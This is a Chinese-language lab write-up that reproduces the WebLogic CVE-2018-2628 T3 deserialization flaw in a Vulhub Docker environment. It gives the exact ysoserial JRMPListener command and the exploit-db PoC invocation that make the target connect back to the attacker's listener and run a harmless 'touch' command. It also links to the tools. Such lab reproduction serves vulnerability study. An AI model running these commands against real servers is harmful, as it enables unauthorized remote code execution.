前言
前面有分析过cve-2017-10271的xml反序列化漏洞,这次挑了cve-2018-2628尝试着分析看看,相比较xml反序列化只要一个http包而言,T3协议的反序列化利用过程显得更加复杂一些,因此在正式分析之前,这里做个简单先把复现的过程记录一下
环境
被攻击机
192.168.99.37
Ubuntu16
Vulhub
攻击机
Mac
192.168.96.111
复现步骤
Ubuntu内执行
Docker-compose up -d
访问http://192.168.99.37:7001/console 初始化环境
Mac上执行
使用ysoserial开启JRMP服务
java -cp ysoserial-0.0.5-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "touch /tmp/sojrs.txt"
1099为本地监听端口,“toch /tmp/sojrs.txt”为执行的命令
Mac上执行
使用cve-2018-2628.py的poc进行验证执行,poc地址为https://www.exploit-db.com/exploits/44553
python cve-2018-2628.py 192.168.99.37 7001 ./ysoserial-0.0.5-all.jar 192.168.96.111 1099 JRMPClient
192.168.99.37 7001 为被攻击机的7001端口,./ysoserial-0.0.5-all.jar 为所在mac的地址,192.168.96.111 1099为开启JRMP监听的服务器端口,可以不与mac同台,JRMPClient类可选JRMPClient或者JRMPClient2
我这里测试JRMPClient2报错,使用JRMPClient测试成功
到ubuntu的vulhub的docker服务器上查看tmp目录,是否存在/tmp/sojrs.txt文件
docker-compose exec weblogic bash
ls /tmp
成功执行任意命令
参考链接
vulhub-cve-2018-2628
相关工具与脚本百度云
链接:https://pan.baidu.com/s/1rcYbAOq_5tfUqFB09PPmCw 密码:bve6